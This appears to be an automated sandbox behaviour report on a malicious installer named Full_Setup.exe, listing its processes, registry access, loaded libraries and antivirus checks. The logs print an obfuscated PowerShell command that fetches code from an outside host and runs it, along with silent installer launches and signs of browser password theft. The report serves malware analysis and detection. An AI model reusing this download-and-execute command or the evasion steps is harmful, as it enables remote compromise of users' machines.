Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7524:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7832:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3272:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7940:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7504:120:WilError_03

Source: C:\Users\user\Desktop\Full_Setup.exe

File created: C:\Users\user\AppData\Local\Temp\MDP2X8VMEVVJRGEP3T64BYVFCK.exe

Jump to behavior

Source: Full_Setup.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\AppData\Local\Temp\MDP2X8VMEVVJRGEP3T64BYVFCK.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MDP2X8VMEVVJRGEP3T64BYVFCK.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-KD158.tmp\MDP2X8VMEVVJRGEP3T64BYVFCK.tmp	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-KD158.tmp\MDP2X8VMEVVJRGEP3T64BYVFCK.tmp	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MDP2X8VMEVVJRGEP3T64BYVFCK.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MDP2X8VMEVVJRGEP3T64BYVFCK.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-DOP4D.tmp\MDP2X8VMEVVJRGEP3T64BYVFCK.tmp	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-DOP4D.tmp\MDP2X8VMEVVJRGEP3T64BYVFCK.tmp	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\AppData\Roaming\UltraMedia\vsv_tool.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales

Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process WHERE Caption = 'WRSA.EXE'
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process WHERE Caption = 'OPSSVC.EXE'
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process WHERE Caption = 'AVASTUI.EXE'
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process WHERE Caption = 'AVGUI.EXE'
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process WHERE Caption = 'NSWSCSVC.EXE'
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process WHERE Caption = 'SOPHOSHEALTH.EXE'

Source: C:\Users\user\AppData\Local\Temp\is-KD158.tmp\MDP2X8VMEVVJRGEP3T64BYVFCK.tmp

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\Full_Setup.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-KD158.tmp\MDP2X8VMEVVJRGEP3T64BYVFCK.tmp

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion RegisteredOrganization

Jump to behavior

Source: Full_Setup.exe, 00000000.00000003.1884596289.00000000031B5000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: Full_Setup.exe

ReversingLabs: Detection: 21%

Source: C:\Users\user\Desktop\Full_Setup.exe

File read: C:\Users\user\Desktop\Full_Setup.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\Full_Setup.exe "C:\Users\user\Desktop\Full_Setup.exe"
Source: C:\Users\user\Desktop\Full_Setup.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -exec bypass [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.36 (KHTML, like Gecko) Chrome/12.0.0.0 Safari/57.36'; IEx $Ptsr.Content; jo
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Full_Setup.exe	Process created: C:\Users\user\AppData\Local\Temp\MDP2X8VMEVVJRGEP3T64BYVFCK.exe "C:\Users\user\AppData\Local\Temp\MDP2X8VMEVVJRGEP3T64BYVFCK.exe"
Source: C:\Users\user\AppData\Local\Temp\MDP2X8VMEVVJRGEP3T64BYVFCK.exe	Process created: C:\Users\user\AppData\Local\Temp\is-KD158.tmp\MDP2X8VMEVVJRGEP3T64BYVFCK.tmp "C:\Users\user\AppData\Local\Temp\is-KD158.tmp\MDP2X8VMEVVJRGEP3T64BYVFCK.tmp" /SL5="$30472,11205210,845824,C:\Users\user\AppData\Local\Temp\MDP2X8VMEVVJRGEP3T64BYVFCK.exe"
Source: C:\Users\user\AppData\Local\Temp\is-KD158.tmp\MDP2X8VMEVVJRGEP3T64BYVFCK.tmp	Process created: C:\Users\user\AppData\Local\Temp\MDP2X8VMEVVJRGEP3T64BYVFCK.exe "C:\Users\user\AppData\Local\Temp\MDP2X8VMEVVJRGEP3T64BYVFCK.exe" /VERYSILENT
Source: C:\Users\user\AppData\Local\Temp\MDP2X8VMEVVJRGEP3T64BYVFCK.exe	Process created: C:\Users\user\AppData\Local\Temp\is-DOP4D.tmp\MDP2X8VMEVVJRGEP3T64BYVFCK.tmp "C:\Users\user\AppData\Local\Temp\is-DOP4D.tmp\MDP2X8VMEVVJRGEP3T64BYVFCK.tmp" /SL5="$40472,11205210,845824,C:\Users\user\AppData\Local\Temp\MDP2X8VMEVVJRGEP3T64BYVFCK.exe" /VERYSILENT
Source: C:\Users\user\AppData\Local\Temp\is-DOP4D.tmp\MDP2X8VMEVVJRGEP3T64BYVFCK.tmp	Process created: C:\Windows\System32\timeout.exe "timeout" 9
Source: C:\Windows\System32\timeout.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\is-DOP4D.tmp\MDP2X8VMEVVJRGEP3T64BYVFCK.tmp	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C tasklist /FI "IMAGENAME eq wrsa.exe" /FO CSV /NH \| find /I "wrsa.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq wrsa.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "wrsa.exe"
Source: C:\Users\user\AppData\Local\Temp\is-DOP4D.tmp\MDP2X8VMEVVJRGEP3T64BYVFCK.tmp	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C tasklist /FI "IMAGENAME eq opssvc.exe" /FO CSV /NH \| find /I "opssvc.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq opssvc.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "opssvc.exe"
Source: C:\Users\user\AppData\Local\Temp\is-DOP4D.tmp\MDP2X8VMEVVJRGEP3T64BYVFCK.tmp	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C tasklist /FI "IMAGENAME eq avastui.exe" /FO CSV /NH \| find /I "avastui.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq avastui.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "avastui.exe"
Source: C:\Users\user\AppData\Local\Temp\is-DOP4D.tmp\MDP2X8VMEVVJRGEP3T64BYVFCK.tmp	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C tasklist /FI "IMAGENAME eq avgui.exe" /FO CSV /NH \| find /I "avgui.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq avgui.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "avgui.exe"
Source: C:\Users\user\AppData\Local\Temp\is-DOP4D.tmp\MDP2X8VMEVVJRGEP3T64BYVFCK.tmp	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C tasklist /FI "IMAGENAME eq nswscsvc.exe" /FO CSV /NH \| find /I "nswscsvc.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq nswscsvc.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "nswscsvc.exe"
Source: C:\Users\user\AppData\Local\Temp\is-DOP4D.tmp\MDP2X8VMEVVJRGEP3T64BYVFCK.tmp	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C tasklist /FI "IMAGENAME eq sophoshealth.exe" /FO CSV /NH \| find /I "sophoshealth.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq sophoshealth.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "sophoshealth.exe"
Source: C:\Users\user\AppData\Local\Temp\is-DOP4D.tmp\MDP2X8VMEVVJRGEP3T64BYVFCK.tmp	Process created: C:\Users\user\AppData\Roaming\UltraMedia\vsv_tool.exe "C:\Users\user\AppData\Roaming\UltraMedia\vsv_tool.exe"
Source: C:\Users\user\Desktop\Full_Setup.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -exec bypass [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.36 (KHTML, like Gecko) Chrome/12.0.0.0 Safari/57.36'; IEx $Ptsr.Content; jo	Jump to behavior
Source: C:\Users\user\Desktop\Full_Setup.exe	Process created: C:\Users\user\AppData\Local\Temp\MDP2X8VMEVVJRGEP3T64BYVFCK.exe "C:\Users\user\AppData\Local\Temp\MDP2X8VMEVVJRGEP3T64BYVFCK.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MDP2X8VMEVVJRGEP3T64BYVFCK.exe	Process created: C:\Users\user\AppData\Local\Temp\is-KD158.tmp\MDP2X8VMEVVJRGEP3T64BYVFCK.tmp "C:\Users\user\AppData\Local\Temp\is-KD158.tmp\MDP2X8VMEVVJRGEP3T64BYVFCK.tmp" /SL5="$30472,11205210,845824,C:\Users\user\AppData\Local\Temp\MDP2X8VMEVVJRGEP3T64BYVFCK.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-KD158.tmp\MDP2X8VMEVVJRGEP3T64BYVFCK.tmp	Process created: C:\Users\user\AppData\Local\Temp\MDP2X8VMEVVJRGEP3T64BYVFCK.exe "C:\Users\user\AppData\Local\Temp\MDP2X8VMEVVJRGEP3T64BYVFCK.exe" /VERYSILENT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MDP2X8VMEVVJRGEP3T64BYVFCK.exe	Process created: C:\Users\user\AppData\Local\Temp\is-DOP4D.tmp\MDP2X8VMEVVJRGEP3T64BYVFCK.tmp "C:\Users\user\AppData\Local\Temp\is-DOP4D.tmp\MDP2X8VMEVVJRGEP3T64BYVFCK.tmp" /SL5="$40472,11205210,845824,C:\Users\user\AppData\Local\Temp\MDP2X8VMEVVJRGEP3T64BYVFCK.exe" /VERYSILENT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-DOP4D.tmp\MDP2X8VMEVVJRGEP3T64BYVFCK.tmp	Process created: C:\Windows\System32\timeout.exe "timeout" 9	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-DOP4D.tmp\MDP2X8VMEVVJRGEP3T64BYVFCK.tmp	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C tasklist /FI "IMAGENAME eq wrsa.exe" /FO CSV /NH \| find /I "wrsa.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-DOP4D.tmp\MDP2X8VMEVVJRGEP3T64BYVFCK.tmp	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C tasklist /FI "IMAGENAME eq opssvc.exe" /FO CSV /NH \| find /I "opssvc.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-DOP4D.tmp\MDP2X8VMEVVJRGEP3T64BYVFCK.tmp	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C tasklist /FI "IMAGENAME eq avastui.exe" /FO CSV /NH \| find /I "avastui.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-DOP4D.tmp\MDP2X8VMEVVJRGEP3T64BYVFCK.tmp	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C tasklist /FI "IMAGENAME eq avgui.exe" /FO CSV /NH \| find /I "avgui.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-DOP4D.tmp\MDP2X8VMEVVJRGEP3T64BYVFCK.tmp	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C tasklist /FI "IMAGENAME eq nswscsvc.exe" /FO CSV /NH \| find /I "nswscsvc.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-DOP4D.tmp\MDP2X8VMEVVJRGEP3T64BYVFCK.tmp	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C tasklist /FI "IMAGENAME eq sophoshealth.exe" /FO CSV /NH \| find /I "sophoshealth.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-DOP4D.tmp\MDP2X8VMEVVJRGEP3T64BYVFCK.tmp	Process created: C:\Users\user\AppData\Roaming\UltraMedia\vsv_tool.exe "C:\Users\user\AppData\Roaming\UltraMedia\vsv_tool.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq wrsa.exe" /FO CSV /NH	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "wrsa.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq opssvc.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "opssvc.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq avastui.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "avastui.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq avgui.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "avgui.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq nswscsvc.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "nswscsvc.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq sophoshealth.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "sophoshealth.exe"

Source: C:\Users\user\Desktop\Full_Setup.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\Full_Setup.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\Full_Setup.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Full_Setup.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\Full_Setup.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Full_Setup.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\Full_Setup.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Full_Setup.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\Full_Setup.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\Full_Setup.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\Desktop\Full_Setup.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Full_Setup.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\Full_Setup.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\Full_Setup.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Full_Setup.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Full_Setup.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Full_Setup.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Full_Setup.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\Full_Setup.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\Full_Setup.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Full_Setup.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Full_Setup.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Full_Setup.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Full_Setup.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Full_Setup.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\Full_Setup.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\Full_Setup.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\Full_Setup.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Full_Setup.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\Full_Setup.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Full_Setup.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Full_Setup.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Full_Setup.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\Full_Setup.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Full_Setup.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Full_Setup.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Full_Setup.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\Full_Setup.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Full_Setup.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Full_Setup.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Full_Setup.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Full_Setup.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Full_Setup.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Full_Setup.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Full_Setup.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Full_Setup.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Full_Setup.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Full_Setup.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kdscli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MDP2X8VMEVVJRGEP3T64BYVFCK.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MDP2X8VMEVVJRGEP3T64BYVFCK.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-KD158.tmp\MDP2X8VMEVVJRGEP3T64BYVFCK.tmp	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-KD158.tmp\MDP2X8VMEVVJRGEP3T64BYVFCK.tmp	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-KD158.tmp\MDP2X8VMEVVJRGEP3T64BYVFCK.tmp	Section loaded: winhttp.dll	Jump to behavior
